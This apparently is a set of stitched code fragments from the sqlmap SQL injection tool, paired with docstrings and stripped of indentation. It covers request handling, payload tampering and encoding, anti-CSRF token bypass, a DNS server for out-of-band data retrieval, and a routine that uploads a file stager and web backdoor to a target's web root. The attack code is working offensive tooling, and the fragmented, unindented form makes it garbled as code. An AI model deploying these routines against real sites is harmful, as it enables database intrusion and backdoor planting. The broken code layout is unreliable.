warnMsg = 'there has been a problem with NTLM authentication'
elif ('Invalid header name' in tbMsg):
return (None, None, None)
elif ('BadStatusLine' in tbMsg):
warnMsg = 'connection dropped or unknown HTTP '
warnMsg += 'status code received'
if ((not conf.agent) and (not conf.randomAgent)):
warnMsg += '. Try to force the HTTP User-Agent '
warnMsg += "header with option '--user-agent' or switch '--random-agent'"
elif ('IncompleteRead' in tbMsg):
warnMsg = 'there was an incomplete read error while retrieving data '
warnMsg += 'from the target URL'
elif ('Handshake status' in tbMsg):
status = re.search('Handshake status ([\\d]{3})', tbMsg)
errMsg = (('websocket handshake status %s' % status.group(1)) if status else 'unknown')
raise SqlmapConnectionException(errMsg)
else:
warnMsg = 'unable to connect to the target URL'
if (('BadStatusLine' not in tbMsg) and any((conf.proxy, conf.tor))):
warnMsg += ' or proxy'
if silent:
return (None, None, None)
with kb.locks.connError:
kb.connErrorCounter += 1
if ((kb.connErrorCounter >= MAX_CONSECUTIVE_CONNECTION_ERRORS) and (kb.connErrorChoice is None)):
message = 'there seems to be a continuous problem with connection to the target. '
message += 'Are you sure that you want to continue '
message += 'with further target testing? [y/N] '
kb.connErrorChoice = readInput(message, default='N', boolean=True)
if (kb.connErrorChoice is False):
raise SqlmapConnectionException(warnMsg)
if ('forcibly closed' in tbMsg):
logger.critical(warnMsg)
return (None, None, None)
elif (ignoreTimeout and any(((_ in tbMsg) for _ in ('timed out', 'IncompleteRead')))):
return ((None if (not conf.ignoreTimeouts) else ''), None, None)
elif ((threadData.retriesCount < conf.retries) and (not kb.threadException)):
warnMsg += '. sqlmap is going to retry the request'
if (not retrying):
warnMsg += '(s)'
logger.critical(warnMsg)
else:
logger.debug(warnMsg)
return Connect._retryProxy(**kwargs)
elif kb.testMode:
logger.critical(warnMsg)
return (None, None, None)
else:
raise SqlmapConnectionException(warnMsg)
finally:
if (isinstance(page, basestring) and (not isinstance(page, unicode))):
if ((HTTP_HEADER.CONTENT_TYPE in (responseHeaders or {})) and (not re.search(TEXT_CONTENT_TYPE_REGEX, responseHeaders[HTTP_HEADER.CONTENT_TYPE]))):
page = unicode(page, errors='ignore')
else:
page = getUnicode(page)
socket.setdefaulttimeout(conf.timeout)
processResponse(page, responseHeaders, status)
if (conn and getattr(conn, 'redurl', None)):
_ = urlparse.urlsplit(conn.redurl)
_ = ('%s%s' % ((_.path or '/'), (('?%s' % _.query) if _.query else '')))
requestMsg = re.sub('(\n[A-Z]+ ).+?( HTTP/\\d)', ('\\g<1>%s\\g<2>' % getUnicode(_).replace('\\', '\\\\')), requestMsg, 1)
if (kb.resendPostOnRedirect is False):
requestMsg = re.sub('(\\[#\\d+\\]:\n)POST ', '\\g<1>GET ', requestMsg)
requestMsg = re.sub('(?i)Content-length: \\d+\n', '', requestMsg)
requestMsg = re.sub('(?s)\n\n.+', '\n', requestMsg)
responseMsg += ('[#%d] (%d %s):\r\n' % (threadData.lastRequestUID, conn.code, status))
else:
responseMsg += ('[#%d] (%d %s):\r\n' % (threadData.lastRequestUID, code, status))
if responseHeaders:
logHeaders = '\r\n'.join([('%s: %s' % (getUnicode((key.capitalize() if isinstance(key, basestring) else key)), getUnicode(value))) for (key, value) in responseHeaders.items()])
if (not skipLogTraffic):
logHTTPTraffic(requestMsg, ('%s%s\r\n\r\n%s' % (responseMsg, logHeaders, (page or '')[:MAX_CONNECTION_CHUNK_SIZE])), start, time.time())
if (conf.verbose <= 5):
responseMsg += getUnicode(logHeaders)
elif (conf.verbose > 5):
responseMsg += ('%s\r\n\r\n%s' % (logHeaders, (page or '')[:MAX_CONNECTION_CHUNK_SIZE]))
if (not multipart):
logger.log(CUSTOM_LOGGING.TRAFFIC_IN, responseMsg)
return (page, responseHeaders, code)
|
'This method calls a function to get the target URL page content
and returns its page MD5 hash or a boolean value in case of
string match check (\'--string\' command line parameter)'
| @staticmethod
def queryPage(value=None, place=None, content=False, getRatioValue=False, silent=False, method=None, timeBasedCompare=False, noteResponseTime=True, auxHeaders=None, response=False, raise404=None, removeReflection=True):
| if conf.direct:
return direct(value, content)
get = None
post = None
cookie = None
ua = None
referer = None
host = None
page = None
pageLength = None
uri = None
code = None
if (not place):
place = (kb.injection.place or PLACE.GET)
if (not auxHeaders):
auxHeaders = {}
raise404 = ((place != PLACE.URI) if (raise404 is None) else raise404)
method = (method or conf.method)
value = agent.adjustLateValues(value)
payload = agent.extractPayload(value)
threadData = getCurrentThreadData()
if conf.httpHeaders:
headers = OrderedDict(conf.httpHeaders)
contentType = max(((headers[_] if (_.upper() == HTTP_HEADER.CONTENT_TYPE.upper()) else None) for _ in headers.keys()))
if ((kb.postHint or conf.skipUrlEncode) and kb.postUrlEncode):
kb.postUrlEncode = False
conf.httpHeaders = [_ for _ in conf.httpHeaders if (_[1] != contentType)]
contentType = POST_HINT_CONTENT_TYPES.get(kb.postHint, PLAIN_TEXT_CONTENT_TYPE)
conf.httpHeaders.append((HTTP_HEADER.CONTENT_TYPE, contentType))
if payload:
if kb.tamperFunctions:
for function in kb.tamperFunctions:
try:
payload = function(payload=payload, headers=auxHeaders)
except Exception as ex:
errMsg = 'error occurred while running tamper '
errMsg += ("function '%s' ('%s')" % (function.func_name, getSafeExString(ex)))
raise SqlmapGenericException(errMsg)
if (not isinstance(payload, basestring)):
errMsg = ("tamper function '%s' returns " % function.func_name)
errMsg += ("invalid payload type ('%s')" % type(payload))
raise SqlmapValueException(errMsg)
value = agent.replacePayload(value, payload)
logger.log(CUSTOM_LOGGING.PAYLOAD, safecharencode(payload.replace('\\', BOUNDARY_BACKSLASH_MARKER)).replace(BOUNDARY_BACKSLASH_MARKER, '\\'))
if ((place == PLACE.CUSTOM_POST) and kb.postHint):
if (kb.postHint in (POST_HINT.SOAP, POST_HINT.XML)):
payload = payload.replace('>', '>').replace('<', '<')
elif (kb.postHint == POST_HINT.JSON):
if (payload.startswith('"') and payload.endswith('"')):
payload = json.dumps(payload[1:(-1)])
else:
payload = json.dumps(payload)[1:(-1)]
elif (kb.postHint == POST_HINT.JSON_LIKE):
payload = payload.replace("'", REPLACEMENT_MARKER).replace('"', "'").replace(REPLACEMENT_MARKER, '"')
if (payload.startswith('"') and payload.endswith('"')):
payload = json.dumps(payload[1:(-1)])
else:
payload = json.dumps(payload)[1:(-1)]
payload = payload.replace("'", REPLACEMENT_MARKER).replace('"', "'").replace(REPLACEMENT_MARKER, '"')
value = agent.replacePayload(value, payload)
elif ((((place in (PLACE.GET, PLACE.URI, PLACE.COOKIE)) or ((place == PLACE.CUSTOM_HEADER) and (value.split(',')[0] == HTTP_HEADER.COOKIE))) and (not conf.skipUrlEncode)) or ((place in (PLACE.POST, PLACE.CUSTOM_POST)) and kb.postUrlEncode)):
skip = False
if ((place == PLACE.COOKIE) or ((place == PLACE.CUSTOM_HEADER) and (value.split(',')[0] == HTTP_HEADER.COOKIE))):
if (kb.cookieEncodeChoice is None):
msg = ('do you want to URL encode cookie values (implementation specific)? %s' % ('[Y/n]' if (not conf.url.endswith('.aspx')) else '[y/N]'))
kb.cookieEncodeChoice = readInput(msg, default=('Y' if (not conf.url.endswith('.aspx')) else 'N'), boolean=True)
if (not kb.cookieEncodeChoice):
skip = True
if (not skip):
payload = urlencode(payload, '%', False, (place != PLACE.URI))
value = agent.replacePayload(value, payload)
if conf.hpp:
if (not any((conf.url.lower().endswith(_.lower()) for _ in (WEB_API.ASP, WEB_API.ASPX)))):
warnMsg = 'HTTP parameter pollution should work only against '
warnMsg += 'ASP(.NET) targets'
singleTimeWarnMessage(warnMsg)
if (place in (PLACE.GET, PLACE.POST)):
_ = re.escape(PAYLOAD_DELIMITER)
match = re.search(('(?P<name>\\w+)=%s(?P<value>.+?)%s' % (_, _)), value)
if match:
payload = match.group('value')
for splitter in (urlencode(' '), ' '):
if (splitter in payload):
(prefix, suffix) = (('*/', '/*') if (splitter == ' ') else (urlencode(_) for _ in ('*/', '/*')))
parts = payload.split(splitter)
parts[0] = ('%s%s' % (parts[0], suffix))
parts[(-1)] = ('%s%s=%s%s' % (DEFAULT_GET_POST_DELIMITER, match.group('name'), prefix, parts[(-1)]))
for i in xrange(1, (len(parts) - 1)):
parts[i] = ('%s%s=%s%s%s' % (DEFAULT_GET_POST_DELIMITER, match.group('name'), prefix, parts[i], suffix))
payload = ''.join(parts)
for splitter in (urlencode(','), ','):
payload = payload.replace(splitter, ('%s%s=' % (DEFAULT_GET_POST_DELIMITER, match.group('name'))))
value = agent.replacePayload(value, payload)
else:
warnMsg = 'HTTP parameter pollution works only with regular '
warnMsg += 'GET and POST parameters'
singleTimeWarnMessage(warnMsg)
if place:
value = agent.removePayloadDelimiters(value)
if (PLACE.GET in conf.parameters):
get = (conf.parameters[PLACE.GET] if ((place != PLACE.GET) or (not value)) else value)
elif (place == PLACE.GET):
get = value
if (PLACE.POST in conf.parameters):
post = (conf.parameters[PLACE.POST] if ((place != PLACE.POST) or (not value)) else value)
elif (place == PLACE.POST):
post = value
if (PLACE.CUSTOM_POST in conf.parameters):
post = (conf.parameters[PLACE.CUSTOM_POST].replace(kb.customInjectionMark, '') if ((place != PLACE.CUSTOM_POST) or (not value)) else value)
post = (post.replace(ASTERISK_MARKER, '*') if post else post)
if (PLACE.COOKIE in conf.parameters):
cookie = (conf.parameters[PLACE.COOKIE] if ((place != PLACE.COOKIE) or (not value)) else value)
if (PLACE.USER_AGENT in conf.parameters):
ua = (conf.parameters[PLACE.USER_AGENT] if ((place != PLACE.USER_AGENT) or (not value)) else value)
if (PLACE.REFERER in conf.parameters):
referer = (conf.parameters[PLACE.REFERER] if ((place != PLACE.REFERER) or (not value)) else value)
if (PLACE.HOST in conf.parameters):
host = (conf.parameters[PLACE.HOST] if ((place != PLACE.HOST) or (not value)) else value)
if (PLACE.URI in conf.parameters):
uri = (conf.url if ((place != PLACE.URI) or (not value)) else value)
else:
uri = conf.url
if (value and (place == PLACE.CUSTOM_HEADER)):
if (value.split(',')[0].capitalize() == PLACE.COOKIE):
cookie = value.split(',', 1)[1]
else:
auxHeaders[value.split(',')[0]] = value.split(',', 1)[1]
if conf.csrfToken:
def _adjustParameter(paramString, parameter, newValue):
retVal = paramString
match = re.search(('%s=[^&]*' % re.escape(parameter)), paramString)
if match:
retVal = re.sub(re.escape(match.group(0)), ('%s=%s' % (parameter, newValue)), paramString)
else:
match = re.search(('(%s["\']:["\'])([^"\']+)' % re.escape(parameter)), paramString)
if match:
retVal = re.sub(re.escape(match.group(0)), ('%s%s' % (match.group(1), newValue)), paramString)
return retVal
(page, headers, code) = Connect.getPage(url=(conf.csrfUrl or conf.url), data=(conf.data if (conf.csrfUrl == conf.url) else None), method=(conf.method if (conf.csrfUrl == conf.url) else None), cookie=conf.parameters.get(PLACE.COOKIE), direct=True, silent=True, ua=conf.parameters.get(PLACE.USER_AGENT), referer=conf.parameters.get(PLACE.REFERER), host=conf.parameters.get(PLACE.HOST))
match = re.search(('<input[^>]+name=[\\"\']?%s[\\"\']?\\s[^>]*value=(\\"([^\\"]+)|\'([^\']+)|([^ >]+))' % re.escape(conf.csrfToken)), (page or ''))
token = ((match.group(2) or match.group(3) or match.group(4)) if match else None)
if (not token):
match = re.search(('%s[\\"\']:[\\"\']([^\\"\']+)' % re.escape(conf.csrfToken)), (page or ''))
token = (match.group(1) if match else None)
if (not token):
if ((conf.csrfUrl != conf.url) and (code == httplib.OK)):
if (headers and ('text/plain' in headers.get(HTTP_HEADER.CONTENT_TYPE, ''))):
token = page
if ((not token) and conf.cj and any(((_.name == conf.csrfToken) for _ in conf.cj))):
for _ in conf.cj:
if (_.name == conf.csrfToken):
token = _.value
if (not any(((conf.csrfToken in _) for _ in (conf.paramDict.get(PLACE.GET, {}), conf.paramDict.get(PLACE.POST, {}))))):
if post:
post = ('%s%s%s=%s' % (post, (conf.paramDel or DEFAULT_GET_POST_DELIMITER), conf.csrfToken, token))
elif get:
get = ('%s%s%s=%s' % (get, (conf.paramDel or DEFAULT_GET_POST_DELIMITER), conf.csrfToken, token))
else:
get = ('%s=%s' % (conf.csrfToken, token))
break
if (not token):
errMsg = ("anti-CSRF token '%s' can't be found at '%s'" % (conf.csrfToken, (conf.csrfUrl or conf.url)))
if (not conf.csrfUrl):
errMsg += '. You can try to rerun by providing '
errMsg += "a valid value for option '--csrf-url'"
raise SqlmapTokenException, errMsg
if token:
for place in (PLACE.GET, PLACE.POST):
if (place in conf.parameters):
if ((place == PLACE.GET) and get):
get = _adjustParameter(get, conf.csrfToken, token)
elif ((place == PLACE.POST) and post):
post = _adjustParameter(post, conf.csrfToken, token)
for i in xrange(len(conf.httpHeaders)):
if (conf.httpHeaders[i][0].lower() == conf.csrfToken.lower()):
conf.httpHeaders[i] = (conf.httpHeaders[i][0], token)
if conf.rParam:
def _randomizeParameter(paramString, randomParameter):
retVal = paramString
match = re.search(('(\\A|\\b)%s=(?P<value>[^&;]+)' % re.escape(randomParameter)), paramString)
if match:
origValue = match.group('value')
retVal = re.sub(('(\\A|\\b)%s=[^&;]+' % re.escape(randomParameter)), ('%s=%s' % (randomParameter, randomizeParameterValue(origValue))), paramString)
return retVal
for randomParameter in conf.rParam:
for item in (PLACE.GET, PLACE.POST, PLACE.COOKIE, PLACE.URI, PLACE.CUSTOM_POST):
if (item in conf.parameters):
if ((item == PLACE.GET) and get):
get = _randomizeParameter(get, randomParameter)
elif ((item in (PLACE.POST, PLACE.CUSTOM_POST)) and post):
post = _randomizeParameter(post, randomParameter)
elif ((item == PLACE.COOKIE) and cookie):
cookie = _randomizeParameter(cookie, randomParameter)
elif ((item == PLACE.URI) and uri):
uri = _randomizeParameter(uri, randomParameter)
if conf.evalCode:
delimiter = (conf.paramDel or DEFAULT_GET_POST_DELIMITER)
variables = {'uri': uri, 'lastPage': threadData.lastPage, '_locals': locals()}
originals = {}
keywords = keyword.kwlist
if ((not get) and (PLACE.URI in conf.parameters)):
query = (urlparse.urlsplit(uri).query or '')
else:
query = None
for item in filter(None, (get, (post if (not kb.postHint) else None), query)):
for part in item.split(delimiter):
if ('=' in part):
(name, value) = part.split('=', 1)
name = re.sub('[^\\w]', '', name.strip())
if (name in keywords):
name = ('%s%s' % (name, EVALCODE_KEYWORD_SUFFIX))
value = urldecode(value, convall=True, plusspace=((item == post) and kb.postSpaceToPlus))
variables[name] = value
if cookie:
for part in cookie.split((conf.cookieDel or DEFAULT_COOKIE_DELIMITER)):
if ('=' in part):
(name, value) = part.split('=', 1)
name = re.sub('[^\\w]', '', name.strip())
if (name in keywords):
name = ('%s%s' % (name, EVALCODE_KEYWORD_SUFFIX))
value = urldecode(value, convall=True)
variables[name] = value
while True:
try:
compiler.parse(unicodeencode(conf.evalCode.replace(';', '\n')))
except SyntaxError as ex:
if ex.text:
original = replacement = ex.text.strip()
for _ in re.findall('[A-Za-z_]+', original)[::(-1)]:
if (_ in keywords):
replacement = replacement.replace(_, ('%s%s' % (_, EVALCODE_KEYWORD_SUFFIX)))
break
if (original == replacement):
conf.evalCode = conf.evalCode.replace(EVALCODE_KEYWORD_SUFFIX, '')
break
else:
conf.evalCode = conf.evalCode.replace(getUnicode(ex.text.strip(), UNICODE_ENCODING), replacement)
else:
break
else:
break
originals.update(variables)
evaluateCode(conf.evalCode, variables)
for variable in variables.keys():
if variable.endswith(EVALCODE_KEYWORD_SUFFIX):
value = variables[variable]
del variables[variable]
variables[variable.replace(EVALCODE_KEYWORD_SUFFIX, '')] = value
uri = variables['uri']
for (name, value) in variables.items():
if ((name != '__builtins__') and (originals.get(name, '') != value)):
if isinstance(value, (basestring, int)):
found = False
value = getUnicode(value, UNICODE_ENCODING)
if (kb.postHint and re.search(('\\b%s\\b' % re.escape(name)), (post or ''))):
if (kb.postHint in (POST_HINT.XML, POST_HINT.SOAP)):
if re.search(('<%s\\b' % re.escape(name)), post):
found = True
post = re.sub(('(?s)(<%s\\b[^>]*>)(.*?)(</%s)' % (re.escape(name), re.escape(name))), ('\\g<1>%s\\g<3>' % value.replace('\\', '\\\\')), post)
elif re.search(('\\b%s>' % re.escape(name)), post):
found = True
post = re.sub(('(?s)(\\b%s>)(.*?)(</[^<]*\\b%s>)' % (re.escape(name), re.escape(name))), ('\\g<1>%s\\g<3>' % value.replace('\\', '\\\\')), post)
regex = ('\\b(%s)\\b([^\\w]+)(\\w+)' % re.escape(name))
if ((not found) and re.search(regex, (post or ''))):
found = True
post = re.sub(regex, ('\\g<1>\\g<2>%s' % value.replace('\\', '\\\\')), post)
regex = ('((\\A|%s)%s=).+?(%s|\\Z)' % (re.escape(delimiter), re.escape(name), re.escape(delimiter)))
if ((not found) and re.search(regex, (post or ''))):
found = True
post = re.sub(regex, ('\\g<1>%s\\g<3>' % value.replace('\\', '\\\\')), post)
if re.search(regex, (get or '')):
found = True
get = re.sub(regex, ('\\g<1>%s\\g<3>' % value.replace('\\', '\\\\')), get)
if re.search(regex, (query or '')):
found = True
uri = re.sub(regex.replace('\\A', '\\?'), ('\\g<1>%s\\g<3>' % value.replace('\\', '\\\\')), uri)
regex = ('((\\A|%s)%s=).+?(%s|\\Z)' % (re.escape((conf.cookieDel or DEFAULT_COOKIE_DELIMITER)), name, re.escape((conf.cookieDel or DEFAULT_COOKIE_DELIMITER))))
if re.search(regex, (cookie or '')):
found = True
cookie = re.sub(regex, ('\\g<1>%s\\g<3>' % value.replace('\\', '\\\\')), cookie)
if (not found):
if (post is not None):
post += ('%s%s=%s' % (delimiter, name, value))
elif (get is not None):
get += ('%s%s=%s' % (delimiter, name, value))
elif (cookie is not None):
cookie += ('%s%s=%s' % ((conf.cookieDel or DEFAULT_COOKIE_DELIMITER), name, value))
if (not conf.skipUrlEncode):
get = urlencode(get, limit=True)
if (post is not None):
if ((place not in (PLACE.POST, PLACE.CUSTOM_POST)) and hasattr(post, UNENCODED_ORIGINAL_VALUE)):
post = getattr(post, UNENCODED_ORIGINAL_VALUE)
elif kb.postUrlEncode:
post = urlencode(post, spaceplus=kb.postSpaceToPlus)
if (timeBasedCompare and (not conf.disableStats)):
if (len(kb.responseTimes.get(kb.responseTimeMode, [])) < MIN_TIME_RESPONSES):
clearConsoleLine()
kb.responseTimes.setdefault(kb.responseTimeMode, [])
if conf.tor:
warnMsg = "it's highly recommended to avoid usage of switch '--tor' for "
warnMsg += 'time-based injections because of its high latency time'
singleTimeWarnMessage(warnMsg)
warnMsg = ('[%s] [WARNING] %stime-based comparison requires ' % (time.strftime('%X'), ('(case) ' if kb.responseTimeMode else '')))
warnMsg += 'larger statistical model, please wait'
dataToStdout(warnMsg)
while (len(kb.responseTimes[kb.responseTimeMode]) < MIN_TIME_RESPONSES):
value = (kb.responseTimePayload.replace(RANDOM_INTEGER_MARKER, str(randomInt(6))).replace(RANDOM_STRING_MARKER, randomStr()) if kb.responseTimePayload else kb.responseTimePayload)
Connect.queryPage(value=value, content=True, raise404=False)
dataToStdout('.')
dataToStdout(' (done)\n')
elif (not kb.testMode):
warnMsg = 'it is very important to not stress the network connection '
warnMsg += 'during usage of time-based payloads to prevent potential '
warnMsg += 'disruptions '
singleTimeWarnMessage(warnMsg)
if (not kb.laggingChecked):
kb.laggingChecked = True
deviation = stdev(kb.responseTimes[kb.responseTimeMode])
if (deviation > WARN_TIME_STDEV):
kb.adjustTimeDelay = ADJUST_TIME_DELAY.DISABLE
warnMsg = 'considerable lagging has been detected '
warnMsg += 'in connection response(s). Please use as high '
warnMsg += "value for option '--time-sec' as possible (e.g. "
warnMsg += '10 or more)'
logger.critical(warnMsg)
if (conf.safeFreq > 0):
kb.queryCounter += 1
if ((kb.queryCounter % conf.safeFreq) == 0):
if conf.safeUrl:
Connect.getPage(url=conf.safeUrl, post=conf.safePost, cookie=cookie, direct=True, silent=True, ua=ua, referer=referer, host=host)
elif kb.safeReq:
Connect.getPage(url=kb.safeReq.url, post=kb.safeReq.post, method=kb.safeReq.method, auxHeaders=kb.safeReq.headers)
start = time.time()
if (kb.nullConnection and (not content) and (not response) and (not timeBasedCompare)):
noteResponseTime = False
try:
pushValue(kb.pageCompress)
kb.pageCompress = False
if (kb.nullConnection == NULLCONNECTION.HEAD):
method = HTTPMETHOD.HEAD
elif (kb.nullConnection == NULLCONNECTION.RANGE):
auxHeaders[HTTP_HEADER.RANGE] = 'bytes=-1'
(_, headers, code) = Connect.getPage(url=uri, get=get, post=post, method=method, cookie=cookie, ua=ua, referer=referer, host=host, silent=silent, auxHeaders=auxHeaders, raise404=raise404, skipRead=(kb.nullConnection == NULLCONNECTION.SKIP_READ))
if headers:
if ((kb.nullConnection in (NULLCONNECTION.HEAD, NULLCONNECTION.SKIP_READ)) and headers.get(HTTP_HEADER.CONTENT_LENGTH)):
pageLength = int(headers[HTTP_HEADER.CONTENT_LENGTH])
elif ((kb.nullConnection == NULLCONNECTION.RANGE) and headers.get(HTTP_HEADER.CONTENT_RANGE)):
pageLength = int(headers[HTTP_HEADER.CONTENT_RANGE][(headers[HTTP_HEADER.CONTENT_RANGE].find('/') + 1):])
finally:
kb.pageCompress = popValue()
if (not pageLength):
try:
(page, headers, code) = Connect.getPage(url=uri, get=get, post=post, method=method, cookie=cookie, ua=ua, referer=referer, host=host, silent=silent, auxHeaders=auxHeaders, response=response, raise404=raise404, ignoreTimeout=timeBasedCompare)
except MemoryError:
(page, headers, code) = (None, None, None)
warnMsg = 'site returned insanely large response'
if kb.testMode:
warnMsg += ' in testing phase. This is a common '
warnMsg += 'behavior in custom WAF/IPS/IDS solutions'
singleTimeWarnMessage(warnMsg)
if conf.secondOrder:
(page, headers, code) = Connect.getPage(url=conf.secondOrder, cookie=cookie, ua=ua, silent=silent, auxHeaders=auxHeaders, response=response, raise404=False, ignoreTimeout=timeBasedCompare, refreshing=True)
threadData.lastQueryDuration = calculateDeltaSeconds(start)
threadData.lastPage = page
threadData.lastCode = code
kb.originalCode = (kb.originalCode or code)
if kb.testMode:
kb.testQueryCount += 1
if timeBasedCompare:
return wasLastResponseDelayed()
elif noteResponseTime:
kb.responseTimes.setdefault(kb.responseTimeMode, [])
kb.responseTimes[kb.responseTimeMode].append(threadData.lastQueryDuration)
if ((not response) and removeReflection):
page = removeReflectiveValues(page, payload)
kb.maxConnectionsFlag = (re.search(MAX_CONNECTIONS_REGEX, (page or ''), re.I) is not None)
kb.permissionFlag = (re.search(PERMISSION_DENIED_REGEX, (page or ''), re.I) is not None)
if (content or response):
return (page, headers, code)
if getRatioValue:
return (comparison(page, headers, code, getRatioValue=False, pageLength=pageLength), comparison(page, headers, code, getRatioValue=True, pageLength=pageLength))
else:
return comparison(page, headers, code, getRatioValue, pageLength)
|
'Crafts raw DNS resolution response packet'
| def response(self, resolution):
| retVal = ''
if self._query:
retVal += self._raw[:2]
retVal += '\x85\x80'
retVal += ((self._raw[4:6] + self._raw[4:6]) + '\x00\x00\x00\x00')
retVal += self._raw[12:((12 + self._raw[12:].find('\x00')) + 5)]
retVal += '\xc0\x0c'
retVal += '\x00\x01'
retVal += '\x00\x01'
retVal += '\x00\x00\x00 '
retVal += '\x00\x04'
retVal += ''.join((chr(int(_)) for _ in resolution.split('.')))
return retVal
|
'Returns received DNS resolution request (if any) that has given
prefix/suffix combination (e.g. prefix.<query result>.suffix.domain)'
| def pop(self, prefix=None, suffix=None):
| retVal = None
with self._lock:
for _ in self._requests:
if (((prefix is None) and (suffix is None)) or re.search(('%s\\..+\\.%s' % (prefix, suffix)), _, re.I)):
retVal = _
self._requests.remove(_)
break
return retVal
|
'Runs a DNSServer instance as a daemon thread (killed by program exit)'
| def run(self):
| def _():
try:
self._running = True
self._initialized = True
while True:
(data, addr) = self._socket.recvfrom(1024)
_ = DNSQuery(data)
self._socket.sendto(_.response('127.0.0.1'), addr)
with self._lock:
self._requests.append(_._query)
except KeyboardInterrupt:
raise
finally:
self._running = False
thread = threading.Thread(target=_)
thread.daemon = True
thread.start()
|
'This method is used to write a web backdoor (agent) on a writable
remote directory within the web server document root.'
| def webInit(self):
| if ((self.webBackdoorUrl is not None) and (self.webStagerUrl is not None) and (self.webApi is not None)):
return
self.checkDbmsOs()
default = None
choices = list(getPublicTypeMembers(WEB_API, True))
for ext in choices:
if conf.url.endswith(ext):
default = ext
break
if (not default):
default = (WEB_API.ASP if Backend.isOs(OS.WINDOWS) else WEB_API.PHP)
message = 'which web application language does the web server '
message += 'support?\n'
for count in xrange(len(choices)):
ext = choices[count]
message += ('[%d] %s%s\n' % ((count + 1), ext.upper(), (' (default)' if (default == ext) else '')))
if (default == ext):
default = (count + 1)
message = message[:(-1)]
while True:
choice = readInput(message, default=str(default))
if (not choice.isdigit()):
logger.warn('invalid value, only digits are allowed')
elif ((int(choice) < 1) or (int(choice) > len(choices))):
logger.warn(('invalid value, it must be between 1 and %d' % len(choices)))
else:
self.webApi = choices[(int(choice) - 1)]
break
if (not kb.absFilePaths):
message = 'do you want sqlmap to further try to '
message += 'provoke the full path disclosure? [Y/n] '
if readInput(message, default='Y', boolean=True):
headers = {}
been = set([conf.url])
for match in re.finditer('=[\'\\"]((https?):)?(//[^/\'\\"]+)?(/[\\w/.-]*)\\bwp-', (kb.originalPage or ''), re.I):
url = ('%s%s' % (conf.url.replace(conf.path, match.group(4)), 'wp-content/wp-db.php'))
if (url not in been):
try:
(page, _, _) = Request.getPage(url=url, raise404=False, silent=True)
parseFilePaths(page)
except:
pass
finally:
been.add(url)
url = re.sub('(\\.\\w+)\\Z', '~\\g<1>', conf.url)
if (url not in been):
try:
(page, _, _) = Request.getPage(url=url, raise404=False, silent=True)
parseFilePaths(page)
except:
pass
finally:
been.add(url)
for place in (PLACE.GET, PLACE.POST):
if (place in conf.parameters):
value = re.sub('(\\A|&)(\\w+)=', '\\g<2>[]=', conf.parameters[place])
if ('[]' in value):
(page, headers, _) = Request.queryPage(value=value, place=place, content=True, raise404=False, silent=True, noteResponseTime=False)
parseFilePaths(page)
cookie = None
if (PLACE.COOKIE in conf.parameters):
cookie = conf.parameters[PLACE.COOKIE]
elif (headers and (HTTP_HEADER.SET_COOKIE in headers)):
cookie = headers[HTTP_HEADER.SET_COOKIE]
if cookie:
value = re.sub('(\\A|;)(\\w+)=[^;]*', '\\g<2>=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA', cookie)
if (value != cookie):
(page, _, _) = Request.queryPage(value=value, place=PLACE.COOKIE, content=True, raise404=False, silent=True, noteResponseTime=False)
parseFilePaths(page)
value = re.sub('(\\A|;)(\\w+)=[^;]*', '\\g<2>=', cookie)
if (value != cookie):
(page, _, _) = Request.queryPage(value=value, place=PLACE.COOKIE, content=True, raise404=False, silent=True, noteResponseTime=False)
parseFilePaths(page)
directories = list(arrayizeValue(getManualDirectories()))
directories.extend(getAutoDirectories())
directories = list(oset(directories))
path = (urlparse.urlparse(conf.url).path or '/')
if (path != '/'):
_ = []
for directory in directories:
_.append(directory)
if (not directory.endswith(path)):
_.append(('%s/%s' % (directory.rstrip('/'), path.strip('/'))))
directories = _
backdoorName = ('tmpb%s.%s' % (randomStr(lowercase=True), self.webApi))
backdoorContent = decloak(os.path.join(paths.SQLMAP_SHELL_PATH, ('backdoor.%s_' % self.webApi)))
stagerContent = decloak(os.path.join(paths.SQLMAP_SHELL_PATH, ('stager.%s_' % self.webApi)))
for directory in directories:
if (not directory):
continue
stagerName = ('tmpu%s.%s' % (randomStr(lowercase=True), self.webApi))
self.webStagerFilePath = posixpath.join(ntToPosixSlashes(directory), stagerName)
uploaded = False
directory = ntToPosixSlashes(normalizePath(directory))
if ((not isWindowsDriveLetterPath(directory)) and (not directory.startswith('/'))):
directory = ('/%s' % directory)
if (not directory.endswith('/')):
directory += '/'
infoMsg = ("trying to upload the file stager on '%s' " % directory)
infoMsg += "via LIMIT 'LINES TERMINATED BY' method"
logger.info(infoMsg)
self._webFileInject(stagerContent, stagerName, directory)
for match in re.finditer('/', directory):
self.webBaseUrl = ('%s://%s:%d%s/' % (conf.scheme, conf.hostname, conf.port, directory[match.start():].rstrip('/')))
self.webStagerUrl = urlparse.urljoin(self.webBaseUrl, stagerName)
debugMsg = ("trying to see if the file is accessible from '%s'" % self.webStagerUrl)
logger.debug(debugMsg)
(uplPage, _, _) = Request.getPage(url=self.webStagerUrl, direct=True, raise404=False)
uplPage = (uplPage or '')
if ('sqlmap file uploader' in uplPage):
uploaded = True
break
if (not uploaded):
warnMsg = 'unable to upload the file stager '
warnMsg += ("on '%s'" % directory)
singleTimeWarnMessage(warnMsg)
if isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION):
infoMsg = ("trying to upload the file stager on '%s' " % directory)
infoMsg += 'via UNION method'
logger.info(infoMsg)
stagerName = ('tmpu%s.%s' % (randomStr(lowercase=True), self.webApi))
self.webStagerFilePath = posixpath.join(ntToPosixSlashes(directory), stagerName)
(handle, filename) = tempfile.mkstemp()
os.close(handle)
with open(filename, 'w+b') as f:
_ = decloak(os.path.join(paths.SQLMAP_SHELL_PATH, ('stager.%s_' % self.webApi)))
_ = _.replace('WRITABLE_DIR', utf8encode((directory.replace('/', '\\\\') if Backend.isOs(OS.WINDOWS) else directory)))
f.write(_)
self.unionWriteFile(filename, self.webStagerFilePath, 'text', forceCheck=True)
for match in re.finditer('/', directory):
self.webBaseUrl = ('%s://%s:%d%s/' % (conf.scheme, conf.hostname, conf.port, directory[match.start():].rstrip('/')))
self.webStagerUrl = urlparse.urljoin(self.webBaseUrl, stagerName)
debugMsg = ("trying to see if the file is accessible from '%s'" % self.webStagerUrl)
logger.debug(debugMsg)
(uplPage, _, _) = Request.getPage(url=self.webStagerUrl, direct=True, raise404=False)
uplPage = (uplPage or '')
if ('sqlmap file uploader' in uplPage):
uploaded = True
break
if (not uploaded):
continue
if (('<%' in uplPage) or ('<?' in uplPage)):
warnMsg = ("file stager uploaded on '%s', " % directory)
